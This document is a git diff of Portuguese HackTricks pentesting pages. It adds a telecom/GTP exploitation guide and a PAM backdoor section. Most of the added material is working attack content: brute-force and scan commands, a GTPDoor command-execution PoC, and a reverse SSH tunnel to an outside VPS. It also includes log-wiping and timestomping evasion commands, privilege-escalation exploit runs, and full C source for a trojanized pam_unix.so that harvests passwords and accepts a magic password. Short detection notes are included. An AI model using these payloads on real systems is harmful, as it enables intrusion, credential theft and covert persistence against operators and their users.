Bettercap transmite pacotes para a porta 137/UDP perguntando pelo nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
### **SSDP (Protocolo de Descoberta de Serviços Simples)**
|
||||
### **SSDP (Protocolo Simples de Descoberta de Serviços)**
|
||||
|
||||
Bettercap transmite pacotes SSDP procurando por todos os tipos de serviços (Porta UDP 1900).
|
||||
|
||||
@ -794,6 +794,12 @@ Bettercap transmite pacotes SSDP procurando por todos os tipos de serviços (Por
|
||||
|
||||
Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).
|
||||
|
||||
### Exploração de Telecom / Mobile-Core (GTP)
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
@ -801,6 +807,4 @@ Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).
|
||||
- **Hacking Prático de IoT: O Guia Definitivo para Atacar a Internet das Coisas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização do núcleo**. As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
|
||||
## 1. Recon & Acesso Inicial
|
||||
|
||||
### 1.1 Contas OSS / NE Padrão
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem com usuários SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma lista de palavras dedicada aumenta dramaticamente o sucesso de força bruta:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
|
||||
### 1.2 Descoberta de Hosts dentro do GRX/IPX
|
||||
A maioria dos operadores de GRX ainda permite **ICMP echo** através da backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerando Assinantes – `cordscan`
|
||||
|
||||
A seguir, a ferramenta Go cria pacotes de **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que atende o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Principais flags:
|
||||
- `--imsi` IMSI do assinante alvo
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Escrever pacotes brutos em pcap
|
||||
|
||||
Constantes importantes dentro do binário podem ser corrigidas para ampliar as varreduras:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Execução de Código sobre GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` é um pequeno serviço ELF que **vincula UDP 2123 e analisa cada pacote GTP-C recebido**. Quando a carga útil começa com uma tag pré-compartilhada, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response** para que nenhuma sessão externa seja criada.
|
||||
|
||||
Pacote PoC mínimo (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detecção:
|
||||
* qualquer host enviando **Solicitações de Eco desbalanceadas** para IPs do SGSN
|
||||
* sinalizador da versão GTP definido como 1 enquanto o tipo de mensagem = 1 (Eco) – desvio da especificação
|
||||
|
||||
## 4. Pivotando Através do Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fornece um emulador de SGSN capaz de **estabelecer um contexto PDP em direção a um GGSN/PGW real**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do par de roaming.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Com o hair-pinning adequado do firewall, este túnel contorna VLANs apenas de sinalização e te leva diretamente ao **data plane**.
|
||||
|
||||
### 4.2 Túnel Reverso SSH pela Porta 53
|
||||
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando na :53 e retorne mais tarde de casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifique se `GatewayPorts yes` está habilitado no VPS.
|
||||
|
||||
## 5. Canais Ocultos
|
||||
|
||||
| Canal | Transporte | Decodificação | Notas |
|
||||
|-------|------------|---------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chave de 4 bytes + pedaços de 14 bytes (XOR) | ouvinte passivo puro, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (chave = `funnyAndHappy`) codificado em octetos de registro A | observa subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC em IE privado | mistura-se com conversas legítimas de GTP-C |
|
||||
|
||||
Todos os implantes implementam watchdogs que **timestomp** seus binários e reanimam se travarem.
|
||||
|
||||
## 6. Cheatsheet de Evasão de Defesa
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Escalação de Privilégios em NE Legado
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Dica de limpeza:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Ferramentas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – ferramentas personalizadas descritas em seções anteriores.
|
||||
* `FScan` : varreduras TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS WPAD malicioso
|
||||
* `Microsocks` + `ProxyChains` : pivotagem leve SOCKS5
|
||||
* `FRP` (≥0.37) : travessia NAT / ponte de ativos
|
||||
|
||||
---
|
||||
## Ideias de Detecção
|
||||
1. **Qualquer dispositivo diferente de um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
|
||||
2. **Portas não padrão (53, 80, 443) recebendo handshakes SSH** de IPs internos.
|
||||
3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** – podem indicar sinais de GTPDoor.
|
||||
4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não zero**.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Palo Alto Unit42 – Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protocolo de Tunelamento GPRS (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,10 +1,10 @@
|
||||
# PAM - Módulos de Autenticação Pluggable
|
||||
# PAM - Pluggable Authentication Modules
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
**PAM (Módulos de Autenticação Pluggable)** atua como um mecanismo de segurança que **verifica a identidade dos usuários que tentam acessar serviços de computador**, controlando seu acesso com base em vários critérios. É semelhante a um porteiro digital, garantindo que apenas usuários autorizados possam interagir com serviços específicos, enquanto potencialmente limita seu uso para evitar sobrecargas no sistema.
|
||||
**PAM (Pluggable Authentication Modules)** atua como um mecanismo de segurança que **verifica a identidade dos usuários que tentam acessar serviços de computador**, controlando seu acesso com base em vários critérios. É semelhante a um porteiro digital, garantindo que apenas usuários autorizados possam interagir com serviços específicos, enquanto potencialmente limita seu uso para evitar sobrecargas no sistema.
|
||||
|
||||
#### Arquivos de Configuração
|
||||
|
||||
@ -29,25 +29,80 @@ session required /lib/security/pam_unix_session.so
|
||||
Esses reinos, ou grupos de gerenciamento, incluem **auth**, **account**, **password** e **session**, cada um responsável por diferentes aspectos do processo de autenticação e gerenciamento de sessão:
|
||||
|
||||
- **Auth**: Valida a identidade do usuário, frequentemente solicitando uma senha.
|
||||
- **Account**: Trata da verificação da conta, checando condições como pertencimento a grupos ou restrições de horário.
|
||||
- **Account**: Trata da verificação da conta, checando condições como associação a grupos ou restrições de horário.
|
||||
- **Password**: Gerencia atualizações de senha, incluindo verificações de complexidade ou prevenção contra ataques de dicionário.
|
||||
- **Session**: Gerencia ações durante o início ou o fim de uma sessão de serviço, como montagem de diretórios ou definição de limites de recursos.
|
||||
- **Session**: Gerencia ações durante o início ou fim de uma sessão de serviço, como montar diretórios ou definir limites de recursos.
|
||||
|
||||
#### **Controles de Módulo PAM**
|
||||
#### **Controles do Módulo PAM**
|
||||
|
||||
Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o processo geral de autenticação. Estes incluem:
|
||||
|
||||
- **Required**: A falha de um módulo requerido resulta em falha eventual, mas somente após todos os módulos subsequentes serem verificados.
|
||||
- **Requisite**: Término imediato do processo em caso de falha.
|
||||
- **Sufficient**: O sucesso ignora as verificações do restante do mesmo reino, a menos que um módulo subsequente falhe.
|
||||
- **Sufficient**: O sucesso ignora as demais verificações do mesmo reino, a menos que um módulo subsequente falhe.
|
||||
- **Optional**: Causa falha apenas se for o único módulo na pilha.
|
||||
|
||||
#### Exemplo de Cenário
|
||||
|
||||
Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
|
||||
Em uma configuração com múltiplos módulos de autenticação, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Um truque clássico de persistência em ambientes Linux de alto valor é **trocar a biblioteca PAM legítima por um drop-in trojanizado**. Como cada login SSH / console acaba chamando `pam_unix.so:pam_sm_authenticate()`, algumas linhas de C são suficientes para capturar credenciais ou implementar um bypass de senha *mágico*.
|
||||
|
||||
### Compilação Cheatsheet
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
Compilar e substituir de forma furtiva:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### Dicas de OpSec
|
||||
1. **Sobrescrita atômica** – escreva em um arquivo temporário e `mv` para o lugar para evitar bibliotecas meio escritas que bloqueiam o SSH.
|
||||
2. Colocação de arquivos de log como `/usr/bin/.dbus.log` se mistura com artefatos de desktop legítimos.
|
||||
3. Mantenha as exportações de símbolos idênticas (`pam_sm_setcred`, etc.) para evitar mau comportamento do PAM.
|
||||
|
||||
### Detecção
|
||||
* Compare MD5/SHA256 de `pam_unix.so` com o pacote da distribuição.
|
||||
* Verifique se há permissões de escrita global ou propriedade incomum em `/lib/security/`.
|
||||
* Regra do `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### Referências
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user